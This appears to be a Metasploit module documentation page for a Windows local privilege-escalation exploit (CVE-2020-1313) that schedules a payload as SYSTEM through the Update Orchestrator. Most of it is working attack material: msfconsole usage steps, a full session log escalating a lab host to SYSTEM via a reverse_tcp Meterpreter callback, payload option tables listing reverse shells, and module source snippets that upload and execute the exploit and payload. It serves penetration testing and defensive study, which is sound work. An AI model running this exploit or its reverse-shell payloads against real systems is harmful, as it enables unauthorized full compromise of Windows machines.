Windows Update Orchestrator unchecked ScheduleWork call - Metasploit
This page contains detailed information about how to use the exploit/windows/local/cve_2020_1313_system_orchestrator metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Windows Update Orchestrator unchecked ScheduleWork call
Module: exploit/windows/local/cve_2020_1313_system_orchestrator
Source code: modules/exploits/windows/local/cve_2020_1313_system_orchestrator.rb
Disclosure date: 2019-11-04
Last modification time: 2021-09-08 21:56:02 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2020-1313
This exploit uses access to the UniversalOrchestrator ScheduleWork API call which does not verify the caller's token before scheduling a job to be run as SYSTEM. You cannot schedule something in a given time, so the payload will execute as system sometime in the next 24 hours.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/windows/local/cve_2020_1313_system_orchestrator
msf exploit(cve_2020_1313_system_orchestrator) > show targets
... a list of targets ...
msf exploit(cve_2020_1313_system_orchestrator) > set TARGET target-id
msf exploit(cve_2020_1313_system_orchestrator) > show options
... show and set options ...
msf exploit(cve_2020_1313_system_orchestrator) > set SESSION session-id
msf exploit(cve_2020_1313_system_orchestrator) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Vulnerable Application
Windows 10 and Server x64 build versions above 17763 to 19041.
Introduction
This module abuses CVE-2020-1313, a unchecked API call that allows a
regular user to schedule a job that will run as system. The API call,
ScheduleWork
, will create a task in the System Update Orchestrator
automatically scheduled to run at a time when the system is expected
to be idle. The user cannot request or affect the scheduled time of
execution. The scheduled job data is stored in
HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Orchestrator\\UScheduler\\x
Where x
is a numeric key assigned to the job.
Verification Steps
- Start msfconsole
- use exploit/multi/handler
- set payload <payload>
- set [r|l]host
- run (leave running)
- Start msfconsole
- use windows/local/cve_2020_1313_system_orchestrator
- set session <session>
- set payload <payload_matching_above>
- set verbose true
- Verify The job is scheduled
- Leave everything running
- Go to bed
- Have a healthy Breakfast, maybe some coffee if you want
- verify you got a callback as SYSTEM
Options
EXECUTE_DELAY The number of seconds to sleep after uploading the exploit and launching it.
EXPLOIT_NAME The name of the exploit EXE as it will appear on target
EXPLOIT_TIMEOUT The maximum time to wait for a response from the exploit binary.
PAYLOAD_NAME The name of the payload EXE as it will appear on target
WRITABLE_DIR Directory to use for file upload and linking; this should not already exist. This directory will require manual cleanup.
Scenarios
Tested on Windows10 x64 Release 1903
[*] Sending stage (200262 bytes) to 192.168.132.134
[*] Meterpreter session 12 opened (192.168.135.197:4567 -> 192.168.132.134:49678) at 2020-09-21 19:05:44 -0500
sessions -i -1
[*] Starting interaction with 12...
meterpreter > sysinfo
Computer : DESKTOP-CL5L2IH
OS : Windows 10 (10.0 Build 18362).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: DESKTOP-CL5L2IH\msfuser
meterpreter > getsystem
[-] 2001: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > background
[*] Backgrounding session 12...
msf6 exploit(windows/local/cve_2020_1313_system_orchestrator) > show options
Module options (exploit/windows/local/cve_2020_1313_system_orchestrator):
Name Current Setting Required Description
---- --------------- -------- -----------
EXECUTE_DELAY 3 yes The number of seconds to delay between file upload and exploit launch
EXPLOIT_NAME no The filename to use for the exploit binary (%RAND% by default).
EXPLOIT_TIMEOUT 60 yes The number of seconds to wait for exploit to finish running
PAYLOAD_NAME no The filename for the payload to be used on the target host (%RAND%.exe by default).
SESSION 11 yes The session to run this module on.
WRITABLE_DIR no Path to write binaries (%TEMP% by default).
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.135.197 yes The listen address (an interface may be specified)
LPORT 4568 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Windows x64
msf6 exploit(windows/local/cve_2020_1313_system_orchestrator) > set session 12
session => 12
msf6 exploit(windows/local/cve_2020_1313_system_orchestrator) > run
[*] Build Number = 18362
[*] Checking Target
[*] Attempting to PrivEsc on DESKTOP-CL5L2IH via session ID: 12
[*] Uploading exploit to DESKTOP-CL5L2IH as C:\Users\msfuser\AppData\Local\Temp\IXCDRgFFVCSThK.exe
[*] Exploit uploaded on DESKTOP-CL5L2IH to C:\Users\msfuser\AppData\Local\Temp\IXCDRgFFVCSThK.exe
[*] Uploading Payload to DESKTOP-CL5L2IH as C:\Users\msfuser\AppData\Local\Temp\IXCDRgFFVCSThK.exe
[*] Payload (7168 bytes) uploaded on DESKTOP-CL5L2IH to C:\Users\msfuser\AppData\Local\Temp\DZrvSSK.exe
[!] This exploit requires manual cleanup of the payload C:\Users\msfuser\AppData\Local\Temp\DZrvSSK.exe
[*] Running Exploit
[*] Exploit Output:
Obtaining reference to IUniversalOrchestrator
Scheduling work with id 47790
Succeeded. You may verify HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler to see the task has indeed been onboarded. The command itself will be executed overnight if there is no user interaction on the box or after 3 days SLA has passed.
[*] Cleaning up C:\Users\msfuser\AppData\Local\Temp\IXCDRgFFVCSThK.exe
[*] C:\Users\msfuser\AppData\Local\Temp\IXCDRgFFVCSThK.exe already exists on the target. Deleting...
[*] Deleted C:\Users\msfuser\AppData\Local\Temp\IXCDRgFFVCSThK.exe
[+] Payload Scheduled for execution at 2020-09-22 08:53:47 -0500
msf6 exploit(windows/local/cve_2020_1313_system_orchestrator) >
[SECONDARY WINDOW FOR CALLBACK]
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.135.197
lhost => 192.168.135.197
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run -j
msf6 exploit(multi/handler) > jobs -l
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
0 Exploit: multi/handler windows/x64/meterpreter/reverse_tcp tcp://192.168.135.197:4444
msf6 exploit(multi/handler) > set lport 4568
lport => 4568
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.135.197:4568
msf6 exploit(multi/handler) > jobs -l
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
0 Exploit: multi/handler windows/x64/meterpreter/reverse_tcp tcp://192.168.135.197:4444
1 Exploit: multi/handler windows/x64/meterpreter/reverse_tcp tcp://192.168.135.197:4568
msf6 exploit(multi/handler) >
[*] Sending stage (200262 bytes) to 192.168.132.134
[*] Meterpreter session 3 opened (192.168.135.197:4568 -> 192.168.132.134:49681) at 2020-09-21 20:09:45 -0500
msf6 exploit(multi/handler) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
3 meterpreter x64/windows NT AUTHORITY\SYSTEM @ DESKTOP-CL5L2IH 192.168.135.197:4568 -> 192.168.132.134:49681 (192.168.132.134)
msf6 exploit(multi/handler) > sessions -i 3
[*] Starting interaction with 3...
meterpreter > sysinfo
Computer : DESKTOP-CL5L2IH
OS : Windows 10 (10.0 Build 18362).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Go back to menu.
Msfconsole Usage
Here is how the windows/local/cve_2020_1313_system_orchestrator exploit module looks in the msfconsole:
msf6 > use exploit/windows/local/cve_2020_1313_system_orchestrator
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2020_1313_system_orchestrator) > show info
Name: Windows Update Orchestrator unchecked ScheduleWork call
Module: exploit/windows/local/cve_2020_1313_system_orchestrator
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2019-11-04
Provided by:
Imre Rad
bwatters-r7
Available targets:
Id Name
-- ----
0 Windows x64
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXECUTE_DELAY 3 yes The number of seconds to delay between file upload and exploit launch
EXPLOIT_NAME no The filename to use for the exploit binary (%RAND% by default).
EXPLOIT_TIMEOUT 60 yes The number of seconds to wait for exploit to finish running
PAYLOAD_NAME no The filename for the payload to be used on the target host (%RAND%.exe by default).
SESSION yes The session to run this module on.
WRITABLE_DIR no Path to write binaries (%TEMP% by default).
Payload information:
Description:
This exploit uses access to the UniversalOrchestrator ScheduleWork
API call which does not verify the caller's token before scheduling
a job to be run as SYSTEM. You cannot schedule something in a given
time, so the payload will execute as system sometime in the next 24
hours.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-1313
https://github.com/irsl/CVE-2020-1313
Module Options
This is a complete list of options available in the windows/local/cve_2020_1313_system_orchestrator exploit:
msf6 exploit(windows/local/cve_2020_1313_system_orchestrator) > show options
Module options (exploit/windows/local/cve_2020_1313_system_orchestrator):
Name Current Setting Required Description
---- --------------- -------- -----------
EXECUTE_DELAY 3 yes The number of seconds to delay between file upload and exploit launch
EXPLOIT_NAME no The filename to use for the exploit binary (%RAND% by default).
EXPLOIT_TIMEOUT 60 yes The number of seconds to wait for exploit to finish running
PAYLOAD_NAME no The filename for the payload to be used on the target host (%RAND%.exe by default).
SESSION yes The session to run this module on.
WRITABLE_DIR no Path to write binaries (%TEMP% by default).
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Windows x64
Advanced Options
Here is a complete list of advanced options supported by the windows/local/cve_2020_1313_system_orchestrator exploit:
msf6 exploit(windows/local/cve_2020_1313_system_orchestrator) > show advanced
Module advanced options (exploit/windows/local/cve_2020_1313_system_orchestrator):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DisablePayloadHandler true no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
ForceExploit false no Override check result
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/local/cve_2020_1313_system_orchestrator module can exploit:
msf6 exploit(windows/local/cve_2020_1313_system_orchestrator) > show targets
Exploit targets:
Id Name
-- ----
0 Windows x64
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/cve_2020_1313_system_orchestrator exploit:
msf6 exploit(windows/local/cve_2020_1313_system_orchestrator) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/windows/x64/exec normal No Windows x64 Execute Command
4 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
5 payload/windows/x64/messagebox normal No Windows MessageBox x64
6 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
9 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
10 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
11 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
18 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
19 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
20 payload/windows/x64/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
21 payload/windows/x64/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline (x64)
22 payload/windows/x64/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline (x64)
23 payload/windows/x64/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
24 payload/windows/x64/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
25 payload/windows/x64/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline x64
26 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
27 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
28 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
29 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
30 payload/windows/x64/peinject/bind_tcp_rc4 normal No Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
31 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
32 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
33 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
34 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
35 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
36 payload/windows/x64/pingback_reverse_tcp normal No Windows x64 Pingback, Reverse TCP Inline
37 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
38 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
39 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
40 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
41 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
42 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
43 payload/windows/x64/shell/bind_tcp_rc4 normal No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
44 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
45 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
46 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
47 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
48 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
49 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
50 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
51 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
52 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
53 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
54 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
55 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
56 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
57 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
58 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
59 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
60 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
61 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
62 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/local/cve_2020_1313_system_orchestrator exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/local/cve_2020_1313_system_orchestrator) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
- <TEMP_PATH> does not exist on the target
- This exploit requires manual cleanup of the payload <PAYLOAD_PATH>
- Caught timeout. Exploit may be taking longer or it may have failed.
- Caught timeout. Exploit may be taking longer or it may have failed.
- Failed to find registry scheduler data!
- Failed to find registry scheduler data!
- Failed to find registry scheduler data!
- Could not connect to session
- Exploit code is 64-bit only
- Unable to delete <PATH>
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<TEMP_PATH> does not exist on the target
Here is a relevant code snippet related to the "<TEMP_PATH> does not exist on the target" error message:
78:
79: # Check target
80: vprint_status('Checking Target')
81: validate_active_host
82: validate_target
83: fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path)
84:
85: # Upload Exploit
86: vprint_status("Uploading exploit to #{sysinfo['Computer']} as #{exploit_path}")
87: ensure_clean_destination(exploit_path)
88: exploit_bin = exploit_data('cve-2020-1313', 'cve-2020-1313-exe.x64.exe')
This exploit requires manual cleanup of the payload <PAYLOAD_PATH>
Here is a relevant code snippet related to the "This exploit requires manual cleanup of the payload <PAYLOAD_PATH>" error message:
92: # Upload Payload
93: vprint_status("Uploading Payload to #{sysinfo['Computer']} as #{exploit_path}")
94: ensure_clean_destination(payload_path)
95: write_file(payload_path, payload_exe)
96: print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
97: print_warning("This exploit requires manual cleanup of the payload #{payload_path}")
98:
99: # Run Exploit
100: vprint_status('Running Exploit')
101: begin
102: output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}", 60)
Caught timeout. Exploit may be taking longer or it may have failed.
Here is a relevant code snippet related to the "Caught timeout. Exploit may be taking longer or it may have failed." error message:
100: vprint_status('Running Exploit')
101: begin
102: output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}", 60)
103: vprint_status("Exploit Output:\n#{output}")
104: rescue Rex::TimeoutError => e
105: elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
106: print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
107: end
108: vprint_status("Cleaning up #{exploit_path}")
109: ensure_clean_destination(exploit_path)
110:
Caught timeout. Exploit may be taking longer or it may have failed.
Here is a relevant code snippet related to the "Caught timeout. Exploit may be taking longer or it may have failed." error message:
101: begin
102: output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}", 60)
103: vprint_status("Exploit Output:\n#{output}")
104: rescue Rex::TimeoutError => e
105: elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
106: print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
107: end
108: vprint_status("Cleaning up #{exploit_path}")
109: ensure_clean_destination(exploit_path)
110:
111: # Check registry value
Failed to find registry scheduler data!
Here is a relevant code snippet related to the "Failed to find registry scheduler data!" error message:
108: vprint_status("Cleaning up #{exploit_path}")
109: ensure_clean_destination(exploit_path)
110:
111: # Check registry value
112: unless registry_key_exist?('HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler')
113: fail_with(Module::Failure::Unknown, 'Failed to find registry scheduler data!')
114: end
115: reg_keys = registry_enumkeys('HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler')
116: fail_with(Module::Failure::Unknown, 'Failed to find registry scheduler data!') if reg_keys.nil?
117: found_job = false
118: reg_keys.each do |key|
Failed to find registry scheduler data!
Here is a relevant code snippet related to the "Failed to find registry scheduler data!" error message:
111: # Check registry value
112: unless registry_key_exist?('HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler')
113: fail_with(Module::Failure::Unknown, 'Failed to find registry scheduler data!')
114: end
115: reg_keys = registry_enumkeys('HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler')
116: fail_with(Module::Failure::Unknown, 'Failed to find registry scheduler data!') if reg_keys.nil?
117: found_job = false
118: reg_keys.each do |key|
119: start_arg = registry_getvalinfo("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Orchestrator\\UScheduler\\#{key}", 'startArg')
120: next unless start_arg['Data'].include? payload_name
121:
Failed to find registry scheduler data!
Here is a relevant code snippet related to the "Failed to find registry scheduler data!" error message:
123: queued_time = registry_getvalinfo("HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Orchestrator\\UScheduler\\#{key}", 'queuedTime')
124: q_time_i = queued_time['Data'].unpack1('L_')
125: q_time_t = (q_time_i / 10000000) - 11644473600
126: print_good("Payload Scheduled for execution at #{Time.at(q_time_t)}")
127: end
128: fail_with(Module::Failure::Unknown, 'Failed to find registry scheduler data!') unless found_job
129: end
130:
131: def validate_active_host
132: print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
133: rescue Rex::Post::Meterpreter::RequestError => e
Could not connect to session
Here is a relevant code snippet related to the "Could not connect to session" error message:
129: end
130:
131: def validate_active_host
132: print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
133: rescue Rex::Post::Meterpreter::RequestError => e
134: elog('Could not connect to session', error: e)
135: raise Msf::Exploit::Failed, 'Could not connect to session'
136: end
137:
138: def validate_target
139: if sysinfo['Architecture'] != ARCH_X64
Exploit code is 64-bit only
Here is a relevant code snippet related to the "Exploit code is 64-bit only" error message:
135: raise Msf::Exploit::Failed, 'Could not connect to session'
136: end
137:
138: def validate_target
139: if sysinfo['Architecture'] != ARCH_X64
140: fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
141: end
142: end
143:
144: def check
145: sysinfo_value = sysinfo['OS']
Unable to delete <PATH>
Here is a relevant code snippet related to the "Unable to delete <PATH>" error message:
157:
158: print_status("#{path} already exists on the target. Deleting...")
159: begin
160: file_rm(path)
161: print_status("Deleted #{path}")
162: rescue Rex::Post::Meterpreter::RequestError => e
163: elog(e)
164: print_error("Unable to delete #{path}")
165: end
166: end
167: end
Go back to menu.
Related Pull Requests
- #15578 Merged Pull Request: Remove dead cisco_rv130_rmi_rce documentation
- #15575 Merged Pull Request: Update Gemfile.lock
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method
References
See Also
Check also the following modules related to this module:
- exploit/windows/local/cve_2017_8464_lnk_lpe
- exploit/windows/local/cve_2018_8453_win32k_priv_esc
- exploit/windows/local/cve_2019_1458_wizardopium
- exploit/windows/local/cve_2020_0668_service_tracing
- exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move
- exploit/windows/local/cve_2020_0796_smbghost
- exploit/windows/local/cve_2020_1048_printerdemon
- exploit/windows/local/cve_2020_1054_drawiconex_lpe
- exploit/windows/local/cve_2020_1337_printerdemon
- exploit/windows/local/cve_2020_17136
